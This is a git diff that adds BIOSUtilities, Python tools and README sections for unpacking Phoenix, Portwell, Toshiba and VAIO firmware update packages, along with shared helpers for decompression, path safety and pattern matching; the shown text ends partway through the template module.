**Pictures** + +![]() + +## **Phoenix TDK Packer Extractor** + +![]() + +#### **Description** + +Parses Phoenix Tools Development Kit (TDK) Packer executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. WinFlash etc) components. It supports all Phoenix TDK Packer revisions and formats, including those which contain LZMA compressed files. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Phoenix Tools Development Kit (TDK) Packer executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party Python module installed: + +* [pefile](https://pypi.org/project/pefile/) + +#### **Pictures** + +![]() + +## **Portwell EFI Update Extractor** + +![]() + +#### **Description** + +Parses Portwell UEFI Unpacker EFI executables (usually named "Update.efi") and extracts their firmware (e.g. SPI, BIOS/UEFI, EC etc) and utilities (e.g. Flasher etc) components. It supports all known Portwell UEFI Unpacker revisions (v1.1, v1.2, v2.0) and formats (used, empty, null), including those which contain EFI compressed files. The output comprises only final firmware components and utilities which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Portwell UEFI Unpacker EFI executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party Python module installed: + +* [pefile](https://pypi.org/project/pefile/) + +> pip3 install pefile + +Moreover, you must have the following 3rd party tool at the "external" project directory: + +* [TianoCompress](https://github.com/tianocore/edk2/tree/master/BaseTools/Source/C/TianoCompress/) (i.e. [TianoCompress.exe for Windows](https://github.com/tianocore/edk2-BaseTools-win32/) or TianoCompress for Linux) + +#### **Pictures** + +![]() + +## **Toshiba BIOS COM Extractor** + +![]() + +#### **Description** + +Parses Toshiba BIOS COM images and extracts their raw or compressed SPI/BIOS/UEFI firmware component. This utility is basically an easy to use python wrapper around [ToshibaComExtractor by LongSoft](https://github.com/LongSoft/ToshibaComExtractor). The output comprises only a final firmware component which is directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter Toshiba BIOS COM image file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [ToshibaComExtractor](https://github.com/LongSoft/ToshibaComExtractor) (i.e. [comextract.exe for Windows or comextract for Linux](https://github.com/LongSoft/ToshibaComExtractor/releases)) + +#### **Pictures** + +![]() + +## **VAIO Packaging Manager Extractor** + +![]() + +#### **Description** + +Parses VAIO Packaging Manager executables and extracts their firmware (e.g. SPI, BIOS/UEFI, EC, ME etc), utilities (e.g. WBFLASH etc) and driver (audio, video etc) components. If direct extraction fails, it attempts to unlock the executable in order to run at all non-VAIO systems and allow the user to choose the extraction location. It supports all VAIO Packaging Manager revisions and formats, including those which contain obfuscated Microsoft CAB archives or obfuscated unlock values. The output comprises only final firmware components which are directly usable by end users. + +#### **Usage** + +You can either Drag & Drop or manually enter VAIO Packaging Manager executable file(s). Optional arguments: + +* -h or --help : show help message and exit +* -v or --version : show utility name and version +* -i or --input-dir : extract from given input directory +* -o or --output-dir : extract in given output directory +* -e or --auto-exit : skip all user action prompts + +#### **Compatibility** + +Should work at all Windows, Linux or macOS operating systems which have Python 3.10 support. + +#### **Prerequisites** + +To run the utility, you must have the following 3rd party tool at the "external" project directory: + +* [7-Zip Console](https://www.7-zip.org/) (i.e. 7z.exe for Windows or 7zzs for Linux) + +#### **Pictures** + +![]() \ No newline at end of file diff --git a/blobs/t480/biosutilities/Toshiba_COM_Extract.py b/blobs/t480/biosutilities/Toshiba_COM_Extract.py new file mode 100644 index 000000000..da6ee4370 --- /dev/null +++ b/blobs/t480/biosutilities/Toshiba_COM_Extract.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Toshiba COM Extract +Toshiba BIOS COM Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Toshiba BIOS COM Extractor v2.0_a4' + +import os +import sys +import subprocess + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.externals import get_comextract_path +from common.path_ops import make_dirs, path_stem, path_suffixes +from common.patterns import PAT_TOSHIBA_COM +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is Toshiba BIOS COM image +def is_toshiba_com(in_file): + buffer = file_to_bytes(in_file) + + is_ext = path_suffixes(in_file)[-1].upper() == '.COM' if os.path.isfile(in_file) else True + + is_com = PAT_TOSHIBA_COM.search(buffer) + + return is_ext and is_com + +# Parse & Extract Toshiba BIOS COM image +def toshiba_com_extract(input_file, extract_path, padding=0): + if not os.path.isfile(input_file): + printer('Error: Could not find input file path!', padding) + + return 1 + + make_dirs(extract_path, delete=True) + + output_name = path_stem(input_file) + output_file = os.path.join(extract_path, f'{output_name}.bin') + + try: + subprocess.run([get_comextract_path(), input_file, output_file], check=True, stdout=subprocess.DEVNULL) + + if not os.path.isfile(output_file): + raise Exception('EXTRACT_FILE_MISSING') + except Exception: + printer(f'Error: ToshibaComExtractor could not extract file {input_file}!', padding) + + return 2 + + printer(f'Succesfull {output_name} extraction via ToshibaComExtractor!', padding) + + return 0 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_toshiba_com, toshiba_com_extract).run_utility() diff --git a/blobs/t480/biosutilities/VAIO_Package_Extract.py b/blobs/t480/biosutilities/VAIO_Package_Extract.py new file mode 100644 index 000000000..9bb49bfee --- /dev/null +++ b/blobs/t480/biosutilities/VAIO_Package_Extract.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +VAIO Package Extractor +VAIO Packaging Manager Extractor +Copyright (C) 2019-2022 Plato Mavropoulos +""" + +TITLE = 'VAIO Packaging Manager Extractor v3.0_a8' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import make_dirs +from common.patterns import PAT_VAIO_CAB, PAT_VAIO_CFG, PAT_VAIO_CHK, PAT_VAIO_EXT +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is VAIO Packaging Manager +def is_vaio_pkg(in_file): + buffer = file_to_bytes(in_file) + + return bool(PAT_VAIO_CFG.search(buffer)) + +# Extract VAIO Packaging Manager executable +def vaio_cabinet(name, buffer, extract_path, padding=0): + match_cab = PAT_VAIO_CAB.search(buffer) # Microsoft CAB Header XOR 0xFF + + if not match_cab: + return 1 + + printer('Detected obfuscated CAB archive!', padding) + + # Determine the Microsoft CAB image size + cab_size = int.from_bytes(buffer[match_cab.start() + 0x8:match_cab.start() + 0xC], 'little') # Get LE XOR-ed CAB size + xor_size = int.from_bytes(b'\xFF' * 0x4, 'little') # Create CAB size XOR value + cab_size ^= xor_size # Perform XOR 0xFF and get actual CAB size + + printer('Removing obfuscation...', padding + 4) + + # Determine the Microsoft CAB image Data + cab_data = int.from_bytes(buffer[match_cab.start():match_cab.start() + cab_size], 'big') # Get BE XOR-ed CAB data + xor_data = int.from_bytes(b'\xFF' * cab_size, 'big') # Create CAB data XOR value + cab_data = (cab_data ^ xor_data).to_bytes(cab_size, 'big') # Perform XOR 0xFF and get actual CAB data + + printer('Extracting archive...', padding + 4) + + cab_path = os.path.join(extract_path, f'{name}_Temporary.cab') + + with open(cab_path, 'wb') as cab_file: + cab_file.write(cab_data) # Create temporary CAB archive + + if is_szip_supported(cab_path, padding + 8, check=True): + if szip_decompress(cab_path, extract_path, 'CAB', padding + 8, check=True) == 0: + os.remove(cab_path) # Successful extraction, delete temporary CAB archive + else: + return 3 + else: + return 2 + + return 0 + +# Unlock VAIO Packaging Manager executable +def vaio_unlock(name, buffer, extract_path, padding=0): + match_cfg = PAT_VAIO_CFG.search(buffer) + + if not match_cfg: + return 1 + + printer('Attempting to Unlock executable!', padding) + + # Initialize VAIO Package Configuration file variables (assume overkill size of 0x500) + cfg_bgn,cfg_end,cfg_false,cfg_true = [match_cfg.start(), match_cfg.start() + 0x500, b'', b''] + + # Get VAIO Package Configuration file info, split at new_line and stop at payload DOS header (EOF) + cfg_info = buffer[cfg_bgn:cfg_end].split(b'\x0D\x0A\x4D\x5A')[0].replace(b'\x0D',b'').split(b'\x0A') + + printer('Retrieving True/False values...', padding + 4) + + # Determine VAIO Package Configuration file True & False values + for info in cfg_info: + if info.startswith(b'ExtractPathByUser='): + cfg_false = bytearray(b'0' if info[18:] in (b'0',b'1') else info[18:]) # Should be 0/No/False + if info.startswith(b'UseCompression='): + cfg_true = bytearray(b'1' if info[15:] in (b'0',b'1') else info[15:]) # Should be 1/Yes/True + + # Check if valid True/False values have been retrieved + if cfg_false == cfg_true or not cfg_false or not cfg_true: + printer('Error: Could not retrieve True/False values!', padding + 8) + return 2 + + printer('Adjusting UseVAIOCheck entry...', padding + 4) + + # Find and replace UseVAIOCheck entry from 1/Yes/True to 0/No/False + vaio_check = PAT_VAIO_CHK.search(buffer[cfg_bgn:]) + if vaio_check: + buffer[cfg_bgn + vaio_check.end():cfg_bgn + vaio_check.end() + len(cfg_true)] = cfg_false + else: + printer('Error: Could not find entry UseVAIOCheck!', padding + 8) + return 3 + + printer('Adjusting ExtractPathByUser entry...', padding + 4) + + # Find and replace ExtractPathByUser entry from 0/No/False to 1/Yes/True + user_path = PAT_VAIO_EXT.search(buffer[cfg_bgn:]) + if user_path: + buffer[cfg_bgn + user_path.end():cfg_bgn + user_path.end() + len(cfg_false)] = cfg_true + else: + printer('Error: Could not find entry ExtractPathByUser!', padding + 8) + return 4 + + printer('Storing unlocked executable...', padding + 4) + + # Store Unlocked VAIO Packaging Manager executable + if vaio_check and user_path: + unlock_path = os.path.join(extract_path, f'{name}_Unlocked.exe') + with open(unlock_path, 'wb') as unl_file: + unl_file.write(buffer) + + return 0 + +# Parse & Extract or Unlock VAIO Packaging Manager +def vaio_pkg_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + input_name = os.path.basename(input_file) + + make_dirs(extract_path, delete=True) + + if vaio_cabinet(input_name, input_buffer, extract_path, padding) == 0: + printer('Successfully Extracted!', padding) + elif vaio_unlock(input_name, bytearray(input_buffer), extract_path, padding) == 0: + printer('Successfully Unlocked!', padding) + else: + printer('Error: Failed to Extract or Unlock executable!', padding) + return 1 + + return 0 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_vaio_pkg, vaio_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/common/checksums.py b/blobs/t480/biosutilities/common/checksums.py new file mode 100644 index 000000000..3e958ab1b --- /dev/null +++ b/blobs/t480/biosutilities/common/checksums.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +# Get Checksum 16-bit +def get_chk_16(data, value=0, order='little'): + for idx in range(0, len(data), 2): + # noinspection PyTypeChecker + value += int.from_bytes(data[idx:idx + 2], order) + + value &= 0xFFFF + + return value + +# Get Checksum 8-bit XOR +def get_chk_8_xor(data, value=0): + for byte in data: + value ^= byte + + value ^= 0x0 + + return value diff --git a/blobs/t480/biosutilities/common/comp_efi.py b/blobs/t480/biosutilities/common/comp_efi.py new file mode 100644 index 000000000..2837898bc --- /dev/null +++ b/blobs/t480/biosutilities/common/comp_efi.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import subprocess + +from common.path_ops import project_root, safe_path +from common.system import get_os_ver, printer + +def get_compress_sizes(data): + size_compress = int.from_bytes(data[0x0:0x4], 'little') + size_original = int.from_bytes(data[0x4:0x8], 'little') + + return size_compress, size_original + +def is_efi_compressed(data, strict=True): + size_comp,size_orig = get_compress_sizes(data) + + check_diff = size_comp < size_orig + + if strict: + check_size = size_comp + 0x8 == len(data) + else: + check_size = size_comp + 0x8 <= len(data) + + return check_diff and check_size + +# Get TianoCompress path +def get_tiano_path(): + exec_name = f'TianoCompress{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external',exec_name]) + +# EFI/Tiano Decompression via TianoCompress +def efi_decompress(in_path, out_path, padding=0, silent=False, comp_type='--uefi'): + try: + subprocess.run([get_tiano_path(), '-d', in_path, '-o', out_path, '-q', comp_type], check=True, stdout=subprocess.DEVNULL) + + with open(in_path, 'rb') as file: + _,size_orig = get_compress_sizes(file.read()) + + if os.path.getsize(out_path) != size_orig: + raise Exception('EFI_DECOMPRESS_ERROR') + except Exception: + if not silent: + printer(f'Error: TianoCompress could not extract file {in_path}!', padding) + + return 1 + + if not silent: + printer('Succesfull EFI decompression via TianoCompress!', padding) + + return 0 diff --git a/blobs/t480/biosutilities/common/comp_szip.py b/blobs/t480/biosutilities/common/comp_szip.py new file mode 100644 index 000000000..fb6041b82 --- /dev/null +++ b/blobs/t480/biosutilities/common/comp_szip.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import subprocess + +from common.path_ops import project_root, safe_path +from common.system import get_os_ver, printer + +# Get 7-Zip path +def get_szip_path(): + exec_name = '7z.exe' if get_os_ver()[1] else '7zzs' + + return safe_path(project_root(), ['external',exec_name]) + +# Check 7-Zip bad exit codes (0 OK, 1 Warning) +def check_bad_exit_code(exit_code): + if exit_code not in (0,1): + raise Exception(f'BAD_EXIT_CODE_{exit_code}') + +# Check if file is 7-Zip supported +def is_szip_supported(in_path, padding=0, args=None, check=False, silent=False): + try: + if args is None: + args = [] + + szip_c = [get_szip_path(), 't', in_path, *args, '-bso0', '-bse0', '-bsp0'] + + szip_t = subprocess.run(szip_c, check=False) + + if check: + check_bad_exit_code(szip_t.returncode) + except Exception: + if not silent: + printer(f'Error: 7-Zip could not check support for file {in_path}!', padding) + + return False + + return True + +# Archive decompression via 7-Zip +def szip_decompress(in_path, out_path, in_name, padding=0, args=None, check=False, silent=False): + if not in_name: + in_name = 'archive' + + try: + if args is None: + args = [] + + szip_c = [get_szip_path(), 'x', *args, '-aou', '-bso0', '-bse0', '-bsp0', f'-o{out_path}', in_path] + + szip_x = subprocess.run(szip_c, check=False) + + if check: + check_bad_exit_code(szip_x.returncode) + + if not os.path.isdir(out_path): + raise Exception('EXTRACT_DIR_MISSING') + except Exception: + if not silent: + printer(f'Error: 7-Zip could not extract {in_name} file {in_path}!', padding) + + return 1 + + if not silent: + printer(f'Succesfull {in_name} decompression via 7-Zip!', padding) + + return 0 diff --git a/blobs/t480/biosutilities/common/externals.py b/blobs/t480/biosutilities/common/externals.py new file mode 100644 index 000000000..f81e3b912 --- /dev/null +++ b/blobs/t480/biosutilities/common/externals.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +from common.path_ops import project_root, safe_path +from common.system import get_os_ver + +# https://github.com/allowitsme/big-tool by Dmitry Frolov +# https://github.com/platomav/BGScriptTool by Plato Mavropoulos +def get_bgs_tool(): + try: + # noinspection PyUnresolvedReferences + from external.big_script_tool import BigScript # pylint: disable=E0401,E0611 + except Exception: + BigScript = None + + return BigScript + +# Get UEFIFind path +def get_uefifind_path(): + exec_name = f'UEFIFind{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external', exec_name]) + +# Get UEFIExtract path +def get_uefiextract_path(): + exec_name = f'UEFIExtract{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external', exec_name]) + +# Get ToshibaComExtractor path +def get_comextract_path(): + exec_name = f'comextract{".exe" if get_os_ver()[1] else ""}' + + return safe_path(project_root(), ['external', exec_name]) diff --git a/blobs/t480/biosutilities/common/num_ops.py b/blobs/t480/biosutilities/common/num_ops.py new file mode 100644 index 000000000..c37e4d742 --- /dev/null +++ b/blobs/t480/biosutilities/common/num_ops.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +# https://leancrew.com/all-this/2020/06/ordinals-in-python/ by Dr. Drang +def get_ordinal(number): + s = ('th', 'st', 'nd', 'rd') + ('th',) * 10 + + v = number % 100 + + return f'{number}{s[v % 10]}' if v > 13 else f'{number}{s[v]}' diff --git a/blobs/t480/biosutilities/common/path_ops.py b/blobs/t480/biosutilities/common/path_ops.py new file mode 100644 index 000000000..bcff167b7 --- /dev/null +++ b/blobs/t480/biosutilities/common/path_ops.py @@ -0,0 +1,154 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import re +import sys +import stat +import shutil +from pathlib import Path, PurePath + +from common.text_ops import is_encased, to_string + +# Fix illegal/reserved Windows characters +def safe_name(in_name): + name_repr = repr(in_name).strip("'") + + return re.sub(r'[\\/:"*?<>|]+', '_', name_repr) + +# Check and attempt to fix illegal/unsafe OS path traversals +def safe_path(base_path, user_paths): + # Convert base path to absolute path + base_path = real_path(base_path) + + # Merge user path(s) to string with OS separators + user_path = to_string(user_paths, os.sep) + + # Create target path from base + requested user path + target_path = norm_path(base_path, user_path) + + # Check if target path is OS illegal/unsafe + if is_safe_path(base_path, target_path): + return target_path + + # Re-create target path from base + leveled/safe illegal "path" (now file) + nuked_path = norm_path(base_path, safe_name(user_path)) + + # Check if illegal path leveling worked + if is_safe_path(base_path, nuked_path): + return nuked_path + + # Still illegal, raise exception to halt execution + raise Exception(f'ILLEGAL_PATH_TRAVERSAL: {user_path}') + +# Check for illegal/unsafe OS path traversal +def is_safe_path(base_path, target_path): + base_path = real_path(base_path) + + target_path = real_path(target_path) + + common_path = os.path.commonpath((base_path, target_path)) + + return base_path == common_path + +# Create normalized base path + OS separator + user path +def norm_path(base_path, user_path): + return os.path.normpath(base_path + os.sep + user_path) + +# Get absolute path, resolving any symlinks +def real_path(in_path): + return os.path.realpath(in_path) + +# Get Windows/Posix OS agnostic path +def agnostic_path(in_path): + return PurePath(in_path.replace('\\', os.sep)) + +# Get absolute parent of path +def path_parent(in_path): + return Path(in_path).parent.absolute() + +# Get final path component, with suffix +def path_name(in_path): + return PurePath(in_path).name + +# Get final path component, w/o suffix +def path_stem(in_path): + return PurePath(in_path).stem + +# Get list of path file extensions +def path_suffixes(in_path): + return PurePath(in_path).suffixes or [''] + +# Check if path is absolute +def is_path_absolute(in_path): + return Path(in_path).is_absolute() + +# Create folder(s), controlling parents, existence and prior deletion +def make_dirs(in_path, parents=True, exist_ok=False, delete=False): + if delete: + del_dirs(in_path) + + Path.mkdir(Path(in_path), parents=parents, exist_ok=exist_ok) + +# Delete folder(s), if present +def del_dirs(in_path): + if Path(in_path).is_dir(): + shutil.rmtree(in_path, onerror=clear_readonly) + +# Copy file to path with or w/o metadata +def copy_file(in_path, out_path, meta=False): + if meta: + shutil.copy2(in_path, out_path) + else: + shutil.copy(in_path, out_path) + +# Clear read-only file attribute (on shutil.rmtree error) +def clear_readonly(in_func, in_path, _): + os.chmod(in_path, stat.S_IWRITE) + in_func(in_path) + +# Walk path to get all files +def get_path_files(in_path): + path_files = [] + + for root, _, files in os.walk(in_path): + for name in files: + path_files.append(os.path.join(root, name)) + + return path_files + +# Get path without leading/trailing quotes +def get_dequoted_path(in_path): + out_path = to_string(in_path).strip() + + if len(out_path) >= 2 and is_encased(out_path, ("'",'"')): + out_path = out_path[1:-1] + + return out_path + +# Set utility extraction stem +def extract_suffix(): + return '_extracted' + +# Get utility extraction path +def get_extract_path(in_path, suffix=extract_suffix()): + return f'{in_path}{suffix}' + +# Get project's root directory +def project_root(): + root = Path(__file__).parent.parent + + return real_path(root) + +# Get runtime's root directory +def runtime_root(): + if getattr(sys, 'frozen', False): + root = Path(sys.executable).parent + else: + root = project_root() + + return real_path(root) diff --git a/blobs/t480/biosutilities/common/patterns.py b/blobs/t480/biosutilities/common/patterns.py new file mode 100644 index 000000000..ecdde3931 --- /dev/null +++ b/blobs/t480/biosutilities/common/patterns.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import re + +PAT_AMI_PFAT = re.compile(br'_AMIPFAT.AMI_BIOS_GUARD_FLASH_CONFIGURATIONS', re.DOTALL) +PAT_AMI_UCP = re.compile(br'@(UAF|HPU).{12}@', re.DOTALL) +PAT_APPLE_EFI = re.compile(br'\$IBIOSI\$.{16}\x2E\x00.{6}\x2E\x00.{8}\x2E\x00.{6}\x2E\x00.{20}\x00{2}', re.DOTALL) +PAT_APPLE_IM4P = re.compile(br'\x16\x04IM4P\x16\x04mefi') +PAT_APPLE_PBZX = re.compile(br'pbzx') +PAT_APPLE_PKG = re.compile(br'xar!') +PAT_AWARD_LZH = re.compile(br'-lh[04567]-') +PAT_DELL_FTR = re.compile(br'\xEE\xAA\xEE\x8F\x49\x1B\xE8\xAE\x14\x37\x90') +PAT_DELL_HDR = re.compile(br'\xEE\xAA\x76\x1B\xEC\xBB\x20\xF1\xE6\x51.\x78\x9C', re.DOTALL) +PAT_DELL_PKG = re.compile(br'\x72\x13\x55\x00.{45}7zXZ', re.DOTALL) +PAT_FUJITSU_SFX = re.compile(br'FjSfxBinay\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) +PAT_INSYDE_IFL = re.compile(br'\$_IFLASH') +PAT_INSYDE_SFX = re.compile(br'\x0D\x0A;!@InstallEnd@!\x0D\x0A(7z\xBC\xAF\x27|\x6E\xF4\x79\x5F\x4E)') +PAT_INTEL_ENG = re.compile(br'\x04\x00{3}[\xA1\xE1]\x00{3}.{8}\x86\x80.{9}\x00\$((MN2)|(MAN))', re.DOTALL) +PAT_INTEL_IFD = re.compile(br'\x5A\xA5\xF0\x0F.{172}\xFF{16}', re.DOTALL) +PAT_MICROSOFT_CAB = re.compile(br'MSCF\x00{4}') +PAT_MICROSOFT_MZ = re.compile(br'MZ') +PAT_MICROSOFT_PE = re.compile(br'PE\x00{2}') +PAT_PHOENIX_TDK = re.compile(br'\$PACK\x00{3}..\x00{2}.\x00{3}', re.DOTALL) +PAT_PORTWELL_EFI = re.compile(br'') +PAT_TOSHIBA_COM = re.compile(br'\x00{2}[\x00-\x02]BIOS.{20}[\x00\x01]', re.DOTALL) +PAT_VAIO_CAB = re.compile(br'\xB2\xAC\xBC\xB9\xFF{4}.{4}\xFF{4}.{4}\xFF{4}\xFC\xFE', re.DOTALL) +PAT_VAIO_CFG = re.compile(br'\[Setting]\x0D\x0A') +PAT_VAIO_CHK = re.compile(br'\x0AUseVAIOCheck=') +PAT_VAIO_EXT = re.compile(br'\x0AExtractPathByUser=') diff --git a/blobs/t480/biosutilities/common/pe_ops.py b/blobs/t480/biosutilities/common/pe_ops.py new file mode 100644 index 000000000..ba23828d6 --- /dev/null +++ b/blobs/t480/biosutilities/common/pe_ops.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import pefile + +from common.system import printer +from common.text_ops import file_to_bytes + +# Check if input is a PE file +def is_pe_file(in_file): + return bool(get_pe_file(in_file)) + +# Get pefile object from PE file +def get_pe_file(in_file, fast=True): + in_buffer = file_to_bytes(in_file) + + try: + # Analyze detected MZ > PE image buffer + pe_file = pefile.PE(data=in_buffer, fast_load=fast) + except Exception: + pe_file = None + + return pe_file + +# Get PE info from pefile object +def get_pe_info(pe_file): + try: + # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to FileInfo > StringTable + pe_file.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_RESOURCE']]) + + # Retrieve MZ > PE > FileInfo > StringTable information + pe_info = pe_file.FileInfo[0][0].StringTable[0].entries + except Exception: + pe_info = {} + + return pe_info + +# Print PE info from pefile StringTable +def show_pe_info(pe_info, padding=0): + if type(pe_info).__name__ == 'dict': + for title,value in pe_info.items(): + info_title = title.decode('utf-8','ignore').strip() + info_value = value.decode('utf-8','ignore').strip() + if info_title and info_value: + printer(f'{info_title}: {info_value}', padding, new_line=False) diff --git a/blobs/t480/biosutilities/common/struct_ops.py b/blobs/t480/biosutilities/common/struct_ops.py new file mode 100644 index 000000000..b995ba140 --- /dev/null +++ b/blobs/t480/biosutilities/common/struct_ops.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import ctypes + +char = ctypes.c_char +uint8_t = ctypes.c_ubyte +uint16_t = ctypes.c_ushort +uint32_t = ctypes.c_uint +uint64_t = ctypes.c_uint64 + +# https://github.com/skochinsky/me-tools/blob/master/me_unpack.py by Igor Skochinsky +def get_struct(buffer, start_offset, class_name, param_list=None): + if param_list is None: + param_list = [] + + structure = class_name(*param_list) # Unpack parameter list + struct_len = ctypes.sizeof(structure) + struct_data = buffer[start_offset:start_offset + struct_len] + fit_len = min(len(struct_data), struct_len) + + ctypes.memmove(ctypes.addressof(structure), struct_data, fit_len) + + return structure diff --git a/blobs/t480/biosutilities/common/system.py b/blobs/t480/biosutilities/common/system.py new file mode 100644 index 000000000..9598e3026 --- /dev/null +++ b/blobs/t480/biosutilities/common/system.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import sys + +from common.text_ops import padder, to_string + +# Get Python Version (tuple) +def get_py_ver(): + return sys.version_info + +# Get OS Platform (string) +def get_os_ver(): + sys_os = sys.platform + + is_win = sys_os == 'win32' + is_lnx = sys_os.startswith('linux') or sys_os == 'darwin' or sys_os.find('bsd') != -1 + + return sys_os, is_win, is_win or is_lnx + +# Check for --auto-exit|-e +def is_auto_exit(): + return bool('--auto-exit' in sys.argv or '-e' in sys.argv) + +# Check Python Version +def check_sys_py(): + sys_py = get_py_ver() + + if sys_py < (3,10): + sys.stdout.write(f'\nError: Python >= 3.10 required, not {sys_py[0]}.{sys_py[1]}!') + + if not is_auto_exit(): + # noinspection PyUnresolvedReferences + (raw_input if sys_py[0] <= 2 else input)('\nPress enter to exit') # pylint: disable=E0602 + + sys.exit(125) + +# Check OS Platform +def check_sys_os(): + os_tag,os_win,os_sup = get_os_ver() + + if not os_sup: + printer(f'Error: Unsupported platform "{os_tag}"!') + + if not is_auto_exit(): + input('\nPress enter to exit') + + sys.exit(126) + + # Fix Windows Unicode console redirection + if os_win: + sys.stdout.reconfigure(encoding='utf-8') + +# Show message(s) while controlling padding, newline, pausing & separator +def printer(in_message='', padd_count=0, new_line=True, pause=False, sep_char=' '): + message = to_string(in_message, sep_char) + + padding = padder(padd_count) + + newline = '\n' if new_line else '' + + output = newline + padding + message + + (input if pause and not is_auto_exit() else print)(output) diff --git a/blobs/t480/biosutilities/common/templates.py b/blobs/t480/biosutilities/common/templates.py new file mode 100644 index 000000000..f69af33f1 --- /dev/null +++ b/blobs/t480/biosutilities/common/templates.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Copyright (C) 2022 Plato Mavropoulos +""" + +import os +import sys +import ctypes +import argparse +import traceback + +from common.num_ops import get_ordinal +from common.path_ops import get_dequoted_path, get_extract_path, get_path_files, is_path_absolute, path_parent, runtime_root, safe_path +from common.system import check_sys_os, check_sys_py, get_os_ver, is_auto_exit, printer + +class BIOSUtility: + + MAX_FAT32_ITEMS = 65535 + + def __init__(self, title, check, main, padding=0): + self._title = title + self._main = main + self._check = check + self._padding = padding + self._arguments_kw = {} + + # Initialize argparse argument parser + self._argparser = argparse.ArgumentParser() + + self._argparser.add_argument('files', type=argparse.FileType('r', encoding='utf-8'), nargs='*') + self._argparser.add_argument('-e', '--auto-exit', help='skip all user action prompts', action='store_true') + self._argparser.add_argument('-v', '--version', help='show utility name and version', action='store_true') + self._argparser.add_argument('-o', '--output-dir', help='extract in given output directory') + self._argparser.add_argument('-i', '--input-dir', help='extract from given input directory') + + self._arguments,self._arguments_unk = self._argparser.parse_known_args() + + # Managed Python exception handler + sys.excepthook = self._exception_handler + + # Check Python Version + check_sys_py() + + # Check OS Platform + check_sys_os() + + # Show Script Title + printer(self._title, new_line=False) + + # Show Utility Version on demand + if self._arguments.version: + sys.exit(0) + + # Set console/terminal window title (Windows only) + if get_os_ver()[1]: + ctypes.windll.kernel32.SetConsoleTitleW(self._title) + + # Process input files and generate output path + self._process_input_files() + + # Count input files for exit code + self._exit_code = len(self._input_files) + + def parse_argument(self, *args, **kwargs): + _dest = self._argparser.add_argument(*args, **kwargs).dest + self._arguments = self._argparser.parse_known_args(self._arguments_unk)[0] + self._arguments_kw.update({_dest: self._arguments.__dict__[_dest]}) + + def run_utility(self): + for _input_file in self._input_files: + _input_name = os.path.basename(_input_file) + + printer(['***', _input_name], self._padding) + + if not self._check(_input_file): + printer('Error: This is not a supported input!', self._padding + 4) + + continue # Next input file + + _extract_path = os.path.join(self._output_path, get_extract_path(_input_name)) + + if os.path.isdir(_extract_path): + for _suffix in range(2, self.MAX_FAT32_ITEMS): + _renamed_path = 